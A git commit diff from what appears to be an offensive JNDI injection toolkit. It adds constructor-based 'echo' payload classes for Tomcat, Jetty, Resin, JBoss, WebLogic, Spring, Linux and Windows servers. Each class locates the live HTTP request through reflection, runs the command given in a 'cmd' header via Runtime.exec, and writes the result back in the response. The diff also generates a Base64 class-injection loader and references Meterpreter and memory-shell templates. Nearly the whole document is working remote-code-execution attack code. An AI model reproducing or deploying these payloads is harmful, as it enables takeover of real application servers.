Add constructor

This commit is contained in:
qi4L
2024-05-29 16:13:04 +08:00
parent 751035cd18
commit 72a91dd13f
72 changed files with 681 additions and 363 deletions
@@ -9,7 +9,8 @@ import com.qi4l.jndi.gadgets.utils.InjShell;
import com.qi4l.jndi.gadgets.utils.Util;
import com.qi4l.jndi.gadgets.utils.handle.ClassNameHandler;
import com.qi4l.jndi.template.CommandTemplate;
import com.qi4l.jndi.template.echo.Meterpreter;
import com.qi4l.jndi.template.echoStatic.Meterpreter;
import com.qi4l.jndi.template.echoStatic.TomcatEcho;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
@@ -8,7 +8,6 @@ import com.qi4l.jndi.gadgets.utils.Gadgets;
import com.qi4l.jndi.gadgets.utils.InjShell;
import com.qi4l.jndi.gadgets.utils.Util;
import com.qi4l.jndi.gadgets.utils.handle.ClassNameHandler;
import com.qi4l.jndi.template.echo.TomcatEchoJndi;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPResult;
@@ -31,7 +30,7 @@ public class TomcatBypassController implements LdapController {
@Override
public void sendResult(InMemoryInterceptedSearchResult result, String base) throws Exception {
try {
System.out.println(ansi().render("@|green [+] Sending LDAP ResourceRef result for|@" + base + " @|green with javax.el.ELProcessor payload|@"));
System.out.println(ansi().render("@|green [+] Sending LDAP ResourceRef result for |@" + base + " @|green with javax.el.ELProcessor payload|@"));
System.out.println("-------------------------------------- JNDI Local Refenrence Links --------------------------------------");
Entry e = new Entry(base);
e.addAttribute("javaClassName", "java.lang.String");
@@ -49,8 +48,7 @@ public class TomcatBypassController implements LdapController {
if (payloadType.contains("M-")) {
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
InjShell.init(params);
Class<?> classQ = Gadgets.createClassT(ClassName1).getClass();
code = InjShell.injectClass(classQ);
code = Gadgets.createClassT(ClassName1);
}
if (payloadType.contains("command")) {
@@ -61,9 +59,6 @@ public class TomcatBypassController implements LdapController {
code = helper.injectMeterpreter();
}
if (payloadType.contains("TomcatEcho111")) {
code = helper.injectTomcatEchoTemplate();
}
String payloadTemplate = "{" +
"\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +
@@ -150,10 +145,6 @@ public class TomcatBypassController implements LdapController {
return InjShell.injectClass(ctClazz);
}
public String injectTomcatEchoTemplate() throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
return InjShell.injectClass(TomcatEchoJndi.class);
}
public String getExecCode(String cmd) throws IOException {
String code = "var strs=new Array(3);\n" +
@@ -57,8 +57,7 @@ public class TomcatJdbcController implements LdapController {
if (payloadType.contains("M-")) {
String ClassName1 = payloadType.substring(payloadType.indexOf('-') + 1);
InjShell.init(params);
Class<?> classQ = Gadgets.createClassT(ClassName1);
code = InjShell.injectClass(classQ);
code = Gadgets.createClassT(ClassName1);
}
if (payloadType.contains("command")) {
@@ -1,12 +1,12 @@
package com.qi4l.jndi.gadgets.utils;
import com.qi4l.jndi.template.echo.Meterpreter;
import com.qi4l.jndi.template.echo.SpringEcho;
import com.qi4l.jndi.template.echo.TomcatEcho;
import com.qi4l.jndi.template.echoStatic.Meterpreter;
import com.qi4l.jndi.template.echoStatic.SpringEcho;
import com.qi4l.jndi.template.echoStatic.TomcatEcho;
import com.qi4l.jndi.template.isOK;
import com.qi4l.jndi.template.isSuccess;
import com.qi4l.jndi.template.memshell.Websphere.WebsphereMemshellTemplate;
import com.qi4l.jndi.template.memshell.jboss.JBFMSFromContextF;
import com.qi4l.jndi.template.memshellStatic.Websphere.WebsphereMemshellTemplate;
import com.qi4l.jndi.template.memshellStatic.jboss.JBFMSFromContextF;
import net.jodah.expiringmap.ExpirationPolicy;
import net.jodah.expiringmap.ExpiringMap;
@@ -1,7 +1,7 @@
package com.qi4l.jndi.gadgets.utils;
import com.qi4l.jndi.gadgets.Config.Config;
import com.qi4l.jndi.template.echo.Meterpreter;
import com.qi4l.jndi.template.echoStatic.Meterpreter;
import javassist.*;
import java.io.*;
@@ -7,10 +7,12 @@ import javassist.ClassClassPath;
import javassist.CtClass;
import javassist.CtConstructor;
import java.io.ByteArrayOutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
@@ -153,7 +155,7 @@ public class Gadgets extends ClassLoader {
return templates;
}
public static Class<?> createClassT(String command) throws Exception {
public static String createClassT(String command) throws Exception {
command = command.trim();
// 支持单双引号
@@ -203,7 +205,22 @@ public class Gadgets extends ClassLoader {
}
}
return ctClass.getClass();
byte[] bytes = ctClass.toBytecode();
String classCode = Base64.getEncoder().encodeToString(bytes);
//System.out.println("Base64 Encoded CtClass: " + classCode);
ctClass.detach();
return "var bytes = org.apache.tomcat.util.codec.binary.Base64.decodeBase64('" + classCode + "');\n" +
"var classLoader = java.lang.Thread.currentThread().getContextClassLoader();\n" +
"try{\n" +
" var clazz = classLoader.loadClass('" + ctClass.getName() + "');\n" +
" clazz.newInstance();\n" +
"}catch(err){\n" +
" var method = java.lang.ClassLoader.class.getDeclaredMethod('defineClass', ''.getBytes().getClass(), java.lang.Integer.TYPE, java.lang.Integer.TYPE);\n" +
" method.setAccessible(true);\n" +
" var clazz = method.invoke(classLoader, bytes, 0, bytes.length);\n" +
" clazz.newInstance();\n" +
"};";
}
public static String createClassB(String command) throws Exception {
@@ -2,7 +2,7 @@ package com.qi4l.jndi.gadgets.utils;
import com.qi4l.jndi.gadgets.Config.Config;
import com.qi4l.jndi.template.Agent.WinMenshell;
import com.qi4l.jndi.template.memshell.tomcat.TSMSFromJMXF;
import com.qi4l.jndi.template.memshellStatic.tomcat.TSMSFromJMXF;
import javassist.*;
import org.apache.commons.cli.CommandLine;
import org.apache.commons.cli.CommandLineParser;
@@ -16,7 +16,6 @@ import java.util.List;
import static com.qi4l.jndi.gadgets.Config.MemShellPayloads.*;
import static com.qi4l.jndi.gadgets.utils.HexUtils.generatePassword;
import static com.qi4l.jndi.template.memshell.shell.MemShellPayloads.SUO5.CMD_SHELL_FOR_WEBFLUX;
public class InjShell {
@@ -1,6 +1,6 @@
package com.qi4l.jndi.gadgets.utils;
import com.qi4l.jndi.template.echo.Meterpreter;
import com.qi4l.jndi.template.echoStatic.Meterpreter;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
@@ -1,146 +0,0 @@
package com.qi4l.jndi.template.echo;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.ByteArrayOutputStream;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.List;
public class TomcatEchoJndi extends AbstractTranslet {
public static String CMD_HEADER = "X-Token-Data";
public TomcatEchoJndi() {
try {
boolean flag = false;
ThreadGroup group = Thread.currentThread().getThreadGroup();
ClassLoader loader = Thread.currentThread().getContextClassLoader();
Field f = group.getClass().getDeclaredField("threads");
f.setAccessible(true);
Thread[] threads = (Thread[])((Thread[])f.get(group));
for(int i = 0; i < threads.length; ++i) {
try {
Thread t = threads[i];
if (t != null) {
String str = t.getName();
if (!str.contains("exec") && str.contains("http")) {
f = t.getClass().getDeclaredField("target");
f.setAccessible(true);
Object obj = f.get(t);
if (obj instanceof Runnable) {
f = obj.getClass().getDeclaredField("this$0");
f.setAccessible(true);
obj = f.get(obj);
try {
f = obj.getClass().getDeclaredField("handler");
} catch (NoSuchFieldException var19) {
f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
}
f.setAccessible(true);
obj = f.get(obj);
try {
f = obj.getClass().getSuperclass().getDeclaredField("global");
} catch (NoSuchFieldException var18) {
f = obj.getClass().getDeclaredField("global");
}
f.setAccessible(true);
obj = f.get(obj);
f = obj.getClass().getDeclaredField("processors");
f.setAccessible(true);
List processors = (List)((List)f.get(obj));
for(int j = 0; j < processors.size(); ++j) {
Object processor = processors.get(j);
f = processor.getClass().getDeclaredField("req");
f.setAccessible(true);
Object req = f.get(processor);
Object resp = req.getClass().getMethod("getResponse").invoke(req);
str = (String)req.getClass().getMethod("getHeader", String.class).invoke(req, CMD_HEADER);
if (str != null && !str.isEmpty()) {
resp.getClass().getMethod("setStatus", Integer.TYPE).invoke(resp, new Integer(200));
ByteArrayOutputStream baos = q(str);
try {
Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk", false, loader);
obj = cls.newInstance();
cls.getDeclaredMethod("setBytes", byte[].class, Integer.TYPE, Integer.TYPE).invoke(obj, baos.toByteArray(), new Integer(0), baos.toByteArray().length);
resp.getClass().getMethod("doWrite", cls).invoke(resp, obj);
} catch (NoSuchMethodException var17) {
Class cls = Class.forName("java.nio.ByteBuffer", false, loader);
obj = cls.getDeclaredMethod("wrap", byte[].class).invoke(cls, baos.toByteArray());
resp.getClass().getMethod("doWrite", cls).invoke(resp, obj);
}
flag = true;
}
if (flag) {
break;
}
}
if (flag) {
break;
}
}
}
}
} catch (Exception var20) {
}
}
} catch (Exception var21) {
}
}
public static ByteArrayOutputStream q(String var0) {
return execCmd(var0);
}
public static ByteArrayOutputStream execCmd(String var0) {
try {
if (var0 != null && !var0.isEmpty()) {
String[] var1 = null;
if (System.getProperty("os.name").toLowerCase().contains("win")) {
var1 = new String[]{"cmd", "/c", var0};
} else {
var1 = new String[]{"/bin/bash", "-c", var0};
}
InputStream var2 = Runtime.getRuntime().exec(var1).getInputStream();
ByteArrayOutputStream var3 = new ByteArrayOutputStream();
boolean var4 = false;
byte[] var5 = new byte[1024];
int var8;
while((var8 = var2.read(var5)) != -1) {
var3.write(var5, 0, var8);
}
return var3;
}
} catch (Exception var7) {
}
return null;
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
@@ -0,0 +1,88 @@
package com.qi4l.jndi.template.echoConstructor;
public class CAllEcho {
public static String CMD_HEADER = "cmd";
public static java.util.HashSet<Object> h = new java.util.HashSet<Object>();
public static javax.servlet.http.HttpServletRequest r = null;
public static javax.servlet.http.HttpServletResponse p = null;
public CAllEcho() {
F(Thread.currentThread(), 0);
}
private static boolean i(Object obj) {
if (obj == null || h.contains(obj)) {
return true;
}
h.add(obj);
return false;
}
private static void F(Object start, int depth) {
Class n = start.getClass();
do {
java.lang.reflect.Field f = null;
int l = n.getDeclaredFields().length;
for (int i = 0; i < l; i++) {
f = n.getDeclaredFields()[i];
f.setAccessible(true);
Object o = null;
try {
o = f.get(start);
if (!o.getClass().isArray()) {
p(o, depth);
} else {
Object q = null;
Object[] objs = (Object[]) o;
int len = java.lang.reflect.Array.getLength(o);
for (int j = 0; j < len; j++) {
q = objs[j];
p(q, depth);
}
}
} catch (Exception ignored) {
}
}
} while ((n = n.getSuperclass()) != null);
}
private static void p(Object o, int depth) {
if (depth > 52 || (r != null && p != null)) {
return;
}
if (!i(o)) {
if (r == null && javax.servlet.http.HttpServletRequest.class.isAssignableFrom(o.getClass())) {
r = (javax.servlet.http.HttpServletRequest) o;
if (r.getHeader(CMD_HEADER) == null) {
r = null;
} else {
try {
p = (javax.servlet.http.HttpServletResponse) r.getClass().getMethod("getResponse", new Class[]{}).invoke(r, new Object[]{});
} catch (Exception e) {
r = null;
}
}
}
if (r != null && p != null) {
try {
try {
p.getWriter().println(q(r.getHeader(CMD_HEADER)));
} catch (Exception ignored) {
}
p.getWriter().flush();
p.getWriter().close();
} catch (Exception ignored) {
}
return;
}
F(o, depth + 1);
}
}
public static java.io.ByteArrayOutputStream q(String cmd) {
return null;
}
}
@@ -0,0 +1,68 @@
package com.qi4l.jndi.template.echoConstructor;
public class CJbossEcho {
public static String CMD_HEADER = "cmd";
public CJbossEcho() {
try {
Object req = javax.security.jacc.PolicyContext.getContext("javax.servlet.http.HttpServletRequest");
String cmd = getMethodAndInvoke(req, "getHeader", new Class[]{String.class}, new Object[]{CMD_HEADER}).toString();
if (cmd != null && !cmd.isEmpty()) {
java.io.ByteArrayOutputStream baos = q(cmd);
try {
// 高版本底层是 undertow
Class.forName("io.undertow.servlet.spec.HttpServletRequestImpl");
Object exchange = getMethodAndInvoke(req, "getExchange", new Class[]{}, new Object[]{});
java.io.OutputStream os = (java.io.OutputStream) getMethodAndInvoke(exchange, "getOutputStream", new Class[]{}, new Object[]{});
os.write(baos.toByteArray());
os.close();
} catch (ClassNotFoundException ignored) {
Object response = getMethodAndInvoke(req, "getResponse", new Class[]{}, new Object[]{});
if (response == null) {
java.lang.reflect.Field field = req.getClass().getDeclaredField("request");
field.setAccessible(true);
response = getMethodAndInvoke(field.get(req), "getResponse", new Class[]{}, new Object[]{});
}
Object writer = getMethodAndInvoke(response, "getWriter", new Class[]{}, new Object[]{});
getMethodAndInvoke(writer, "write", new Class[]{String.class}, new Object[]{baos.toString()});
getMethodAndInvoke(writer, "flush", new Class[]{}, new Object[]{});
getMethodAndInvoke(writer, "close", new Class[]{}, new Object[]{});
}
}
} catch (Exception ignored) {
}
}
public static java.io.ByteArrayOutputStream q(String cmd) {
return null;
}
public static java.lang.reflect.Method getMethodByClass(Class cs, String methodName, Class[] parameters) {
java.lang.reflect.Method method = null;
while (cs != null) {
try {
method = cs.getDeclaredMethod(methodName, parameters);
method.setAccessible(true);
cs = null;
} catch (Exception e) {
cs = cs.getSuperclass();
}
}
return method;
}
public static Object getMethodAndInvoke(Object obj, String methodName, Class[] parameterClass, Object[] parameters) {
try {
java.lang.reflect.Method method = getMethodByClass(obj.getClass(), methodName, parameterClass);
if (method != null)
return method.invoke(obj, parameters);
} catch (Exception ignored) {
}
return null;
}
}
@@ -0,0 +1,77 @@
package com.qi4l.jndi.template.echoConstructor;
import java.io.ByteArrayOutputStream;
public class CJettyEcho {
public static String CMD_HEADER;
public CJettyEcho() {
try {
Class clazz = Thread.currentThread().getClass();
java.lang.reflect.Field field = clazz.getDeclaredField("threadLocals");
field.setAccessible(true);
Object obj = field.get(Thread.currentThread());
field = obj.getClass().getDeclaredField("table");
field.setAccessible(true);
obj = field.get(obj);
Object[] obj_arr = (Object[]) obj;
for (int i = 0; i < obj_arr.length; i++) {
Object o = obj_arr[i];
if (o == null) continue;
field = o.getClass().getDeclaredField("value");
field.setAccessible(true);
obj = field.get(o);
if (obj != null && obj.getClass().getName().endsWith("AsyncHttpConnection")) {
Object connection = obj;
java.lang.reflect.Method method = connection.getClass().getMethod("getRequest", (Class<?>) null);
obj = method.invoke(connection, (Object) null);
method = obj.getClass().getMethod("getHeader", new Class[]{String.class});
String cmd = (String) method.invoke(obj, new Object[]{"cmd"});
if (cmd != null && !cmd.isEmpty()) {
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
method = connection.getClass().getMethod("getPrintWriter", new Class[]{String.class});
java.io.PrintWriter printWriter = (java.io.PrintWriter) method.invoke(connection, new Object[]{"utf-8"});
printWriter.println(res);
}
break;
} else if (obj != null && obj.getClass().getName().endsWith("HttpConnection")) {
java.lang.reflect.Method method = obj.getClass().getDeclaredMethod("getHttpChannel", (Class<?>) null);
Object httpChannel = method.invoke(obj, (Object) null);
method = httpChannel.getClass().getMethod("getRequest", (Class<?>) null);
obj = method.invoke(httpChannel, (Object) null);
method = obj.getClass().getMethod("getHeader", new Class[]{String.class});
String cmd = (String) method.invoke(obj, new Object[]{CMD_HEADER});
if (cmd != null && !cmd.isEmpty()) {
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
method = httpChannel.getClass().getMethod("getResponse", (Class<?>) null);
obj = method.invoke(httpChannel, (Object) null);
method = obj.getClass().getMethod("getWriter", (Class<?>) null);
java.io.PrintWriter printWriter = (java.io.PrintWriter) method.invoke(obj, (Object) null);
printWriter.println(res);
}
break;
}
}
} catch (Exception ignored) {
}
}
public static ByteArrayOutputStream q(String cmd) {
return null;
}
}
@@ -0,0 +1,47 @@
package com.qi4l.jndi.template.echoConstructor;
public class CLinuxEcho1 {
public CLinuxEcho1() {
try {
String command = "ls -l /proc/$PPID/fd|grep socket:|awk '{print $9}'";
java.util.List<String> list = new java.util.ArrayList<>();
String[] cmd = new String[]{"/bin/sh", "-c", command};
java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
String line;
while ((line = br.readLine()) != null) {
list.add(line);
}
br.close();
java.lang.reflect.Constructor<java.io.FileDescriptor> c = java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE});
c.setAccessible(true);
for (String s : list) {
Integer integer = Integer.parseInt(s);
try {
cmd = new String[]{"/bin/sh", "-c", "ls -l"};
br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
StringBuilder sb = new StringBuilder();
while ((line = br.readLine()) != null) {
sb.append(line + "\n");
}
java.io.FileOutputStream os = new java.io.FileOutputStream(c.newInstance(integer));
os.write(sb.toString().getBytes());
br.close();
os.close();
} catch (Exception e) {
}
}
} catch (Exception ignored) {
}
}
}
@@ -0,0 +1,66 @@
package com.qi4l.jndi.template.echoConstructor;
public class CLinuxEcho2 {
public CLinuxEcho2() {
try {
if (java.io.File.separator.equals("/")) {
String command = "ls -al /proc/$PPID/fd|grep socket:|awk 'BEGIN{FS=\"[\"}''{print $2}'|sed 's/.$//'";
String[] cmd = new String[]{"/bin/sh", "-c", command};
java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
java.util.List res1 = new java.util.ArrayList();
String line = "";
while ((line = br.readLine()) != null && !line.trim().isEmpty()) {
res1.add(line);
}
br.close();
try {
Thread.sleep((long) 2000);
} catch (InterruptedException e) {
//pass
}
command = "ls -al /proc/$PPID/fd|grep socket:|awk '{print $9, $11}'";
cmd = new String[]{"/bin/sh", "-c", command};
br = new java.io.BufferedReader(new java.io.InputStreamReader(Runtime.getRuntime().exec(cmd).getInputStream()));
java.util.List res2 = new java.util.ArrayList();
while ((line = br.readLine()) != null && !line.trim().isEmpty()) {
res2.add(line);
}
br.close();
int index = 0;
int max = 0;
for (int i = 0; i < res2.size(); i++) {
try {
String socketNo = ((String) res2.get(i)).split("\\s+")[1].substring(8);
socketNo = socketNo.substring(0, socketNo.length() - 1);
for (int j = 0; j < res1.size(); j++) {
if (!socketNo.equals(res1.get(j))) continue;
if (Integer.parseInt(socketNo) > max) {
max = Integer.parseInt(socketNo);
index = j;
}
break;
}
} catch (Exception e) {
//pass
}
}
int fd = Integer.parseInt(((String) res2.get(index)).split("\\s")[0]);
java.lang.reflect.Constructor c = java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE});
c.setAccessible(true);
cmd = new String[]{"/bin/sh", "-c", "id"};
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
String result = "HTTP/1.1 200 OK\nConnection: close\nContent-Length: " + res.length() + "\n\n" + res + "\n";
java.io.FileOutputStream os = new java.io.FileOutputStream((java.io.FileDescriptor) c.newInstance(new Object[]{new Integer(fd)}));
os.write(result.getBytes());
}
} catch (Exception ignored) {
}
}
}
@@ -0,0 +1,48 @@
package com.qi4l.jndi.template.echoConstructor;
public class CResinEcho {
public static String CMD_HEADER;
public CResinEcho() {
try {
Class clazz = Thread.currentThread().getClass();
java.lang.reflect.Field field = clazz.getSuperclass().getDeclaredField("threadLocals");
field.setAccessible(true);
Object obj = field.get(Thread.currentThread());
field = obj.getClass().getDeclaredField("table");
field.setAccessible(true);
obj = field.get(obj);
Object[] obj_arr = (Object[]) obj;
for (int i = 0; i < obj_arr.length; i++) {
Object o = obj_arr[i];
if (o == null) continue;
field = o.getClass().getDeclaredField("value");
field.setAccessible(true);
obj = field.get(o);
if (obj != null && obj.getClass().getName().equals("com.caucho.server.http.HttpRequest")) {
com.caucho.server.http.HttpRequest httpRequest = (com.caucho.server.http.HttpRequest) obj;
String cmd = httpRequest.getHeader(CMD_HEADER);
if (cmd != null && !cmd.isEmpty()) {
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
com.caucho.server.http.HttpResponse httpResponse = httpRequest.createResponse();
httpResponse.setHeader("Content-Length", res.length() + "");
java.lang.reflect.Method method = httpResponse.getClass().getDeclaredMethod("createResponseStream", (Class<?>) null);
method.setAccessible(true);
com.caucho.server.http.HttpResponseStream httpResponseStream = (com.caucho.server.http.HttpResponseStream) method.invoke(httpResponse, (Object) null);
httpResponseStream.write(res.getBytes(), 0, res.length());
httpResponseStream.close();
}
break;
}
}
} catch (Exception ignored) {
}
}
}
@@ -0,0 +1,28 @@
package com.qi4l.jndi.template.echoConstructor;
public class CSpringEcho {
public static String CMD_HEADER;
public CSpringEcho() {
try {
org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();
javax.servlet.http.HttpServletRequest request = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();
javax.servlet.http.HttpServletResponse response = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();
String cmd = request.getHeader(CMD_HEADER);
if (cmd != null && !cmd.isEmpty()) {
response.getWriter().write(new String(q(cmd).toByteArray()));
}
response.getWriter().flush();
response.getWriter().close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static java.io.ByteArrayOutputStream q(String cmd) {
return null;
}
}
@@ -0,0 +1,81 @@
package com.qi4l.jndi.template.echoConstructor;
public class CTomcatEcho {
public static String CMD_HEADER;
public CTomcatEcho() {
try {
boolean flag = false;
ThreadGroup group = Thread.currentThread().getThreadGroup();
ClassLoader loader = Thread.currentThread().getContextClassLoader();
java.lang.reflect.Field f = group.getClass().getDeclaredField("threads");
f.setAccessible(true);
Thread[] threads = (Thread[]) f.get(group);
for (int i = 0; i < threads.length; i++) {
try {
Thread t = threads[i];
if (t == null) continue;
String str = t.getName();
if (str.contains("exec") || !str.contains("http")) continue;
f = t.getClass().getDeclaredField("target");
f.setAccessible(true);
Object obj = f.get(t);
if (!(obj instanceof Runnable)) continue;
f = obj.getClass().getDeclaredField("this$0");
f.setAccessible(true);
obj = f.get(obj);
try {
f = obj.getClass().getDeclaredField("handler");
} catch (NoSuchFieldException e) {
f = obj.getClass().getSuperclass().getSuperclass().getDeclaredField("handler");
}
f.setAccessible(true);
obj = f.get(obj);
try {
f = obj.getClass().getSuperclass().getDeclaredField("global");
} catch (NoSuchFieldException e) {
f = obj.getClass().getDeclaredField("global");
}
f.setAccessible(true);
obj = f.get(obj);
f = obj.getClass().getDeclaredField("processors");
f.setAccessible(true);
java.util.List processors = (java.util.List) (f.get(obj));
for (int j = 0; j < processors.size(); ++j) {
Object processor = processors.get(j);
f = processor.getClass().getDeclaredField("req");
f.setAccessible(true);
Object req = f.get(processor);
Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req);
str = (String) req.getClass().getMethod("getHeader", new Class[]{String.class}).invoke(req, new Object[]{CMD_HEADER});
if (str != null && !str.isEmpty()) {
resp.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(resp, new Integer(200));
java.io.ByteArrayOutputStream baos = q(str);
try {
Class cls = Class.forName("org.apache.tomcat.util.buf.ByteChunk", false, loader);
obj = cls.newInstance();
cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, baos.toByteArray(), new Integer(0), baos.toByteArray().length);
resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, obj);
} catch (NoSuchMethodException var5) {
Class cls = Class.forName("java.nio.ByteBuffer", false, loader);
obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{baos.toByteArray()});
resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, obj);
}
flag = true;
}
if (flag) break;
}
if (flag) break;
} catch (Exception ignored) {
}
}
} catch (Exception ignored) {
}
}
public static java.io.ByteArrayOutputStream q(String cmd) {
return null;
}
}
@@ -0,0 +1,59 @@
package com.qi4l.jndi.template.echoConstructor;
public class CWindowsEcho {
public CWindowsEcho() {
try {
if (java.io.File.separator.equals("\\")) {
java.lang.reflect.Field field = java.io.FileDescriptor.class.getDeclaredField("fd");
field.setAccessible(true);
Class clazz1 = Class.forName("sun.nio.ch.Net");
java.lang.reflect.Method method1 = clazz1.getDeclaredMethod("remoteAddress", new Class[]{java.io.FileDescriptor.class});
method1.setAccessible(true);
Class clazz2 = Class.forName("java.net.SocketOutputStream", false, null);
java.lang.reflect.Constructor constructor2 = clazz2.getDeclaredConstructors()[0];
constructor2.setAccessible(true);
Class clazz3 = Class.forName("java.net.PlainSocketImpl");
java.lang.reflect.Constructor constructor3 = clazz3.getDeclaredConstructor(new Class[]{java.io.FileDescriptor.class});
constructor3.setAccessible(true);
java.lang.reflect.Method write = clazz2.getDeclaredMethod("write", new Class[]{byte[].class});
write.setAccessible(true);
java.net.InetSocketAddress remoteAddress = null;
java.util.List list = new java.util.ArrayList();
java.io.FileDescriptor fileDescriptor = new java.io.FileDescriptor();
for (int i = 0; i < 50000; i++) {
field.set((Object) fileDescriptor, (Object) (new Integer(i)));
try {
remoteAddress = (java.net.InetSocketAddress) method1.invoke(null, new Object[]{fileDescriptor});
if (remoteAddress.toString().startsWith("/127.0.0.1")) continue;
if (remoteAddress.toString().startsWith("/0:0:0:0:0:0:0:1")) continue;
list.add(new Integer(i));
} catch (Exception e) {
}
}
for (int i = list.size() - 1; i >= 0; i--) {
try {
field.set((Object) fileDescriptor, list.get(i));
Object socketOutputStream = constructor2.newInstance(new Object[]{constructor3.newInstance(new Object[]{fileDescriptor})});
String[] cmd = new String[]{"cmd", "/C", "whoami"};
String res = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next().trim();
String result = "HTTP/1.1 200 OK\nConnection: close\nContent-Length: " + (res.length()) + "\n\n" + res + "\n\n";
write.invoke(socketOutputStream, new Object[]{result.getBytes()});
break;
} catch (Exception e) {
//pass
}
}
}
} catch (Exception ignored) {
}
}
}
@@ -0,0 +1,39 @@
package com.qi4l.jndi.template.echoConstructor;
public class CweblogicEcho {
public static String CMD_HEADER;
public CweblogicEcho() {
try {
weblogic.work.WorkAdapter adapter = ((weblogic.work.ExecuteThread) Thread.currentThread()).getCurrentWork();
if (adapter.getClass().getName().endsWith("ServletRequestImpl")) {
String cmd = (String) adapter.getClass().getMethod("getHeader", String.class).invoke(adapter, CMD_HEADER);
if (cmd != null && !cmd.isEmpty()) {
String result = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) adapter.getClass().getMethod("getResponse").invoke(adapter);
res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
res.getServletOutputStream().flush();
res.getWriter().write("");
}
} else {
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
obj = obj.getClass().getMethod("getServletRequest").invoke(obj);
String cmd = (String) obj.getClass().getMethod("getHeader", String.class).invoke(obj, "cmd");
if (cmd != null && !cmd.isEmpty()) {
String result = new java.util.Scanner(Runtime.getRuntime().exec(cmd).getInputStream()).useDelimiter("\\A").next();
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) obj.getClass().getMethod("getResponse").invoke(obj);
res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
res.getServletOutputStream().flush();
res.getWriter().write("");
}
}
} catch (Exception ignored) {
}
}
}
@@ -1,4 +1,4 @@
package com.qi4l.jndi.template.echo;
package com.qi4l.jndi.template.echoStatic;
public class AllEcho {
public static String CMD_HEADER = "cmd";
@@ -1,4 +1,4 @@
package com.qi4l.jndi.template.echo;
package com.qi4l.jndi.template.echoStatic;
public class JbossEcho {
@@ -1,10 +1,10 @@
package com.qi4l.jndi.template.echo;
package com.qi4l.jndi.template.echoStatic;
import java.io.ByteArrayOutputStream;
public class JettyEcho {
public static String CMD_HEADER = "cmd";
public static String CMD_HEADER;
static {
try {
@@ -1,4 +1,4 @@
package com.qi4l.jndi.template.echo;
package com.qi4l.jndi.template.echoStatic;
public class LinuxEcho1 {
@@ -1,4 +1,4 @@
package com.qi4l.jndi.template.echo;
package com.qi4l.jndi.template.echoStatic;
public class LinuxEcho2 {
@@ -1,7 +1,7 @@
/*
* Decompiled with CFR 0.152.
*/
package com.qi4l.jndi.template.echo;
package com.qi4l.jndi.template.echoStatic;
import java.io.DataInputStream;
import java.io.InputStream;
@@ -1,8 +1,8 @@
package com.qi4l.jndi.template.echo;
package com.qi4l.jndi.template.echoStatic;
public class ResinEcho {
public static String CMD_HEADER = "cmd";
public static String CMD_HEADER;
static {
try {
@@ -1,16 +1,10 @@
package com.qi4l.jndi.template.echo;
package com.qi4l.jndi.template.echoStatic;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class SpringEcho extends AbstractTranslet {
public class SpringEcho {
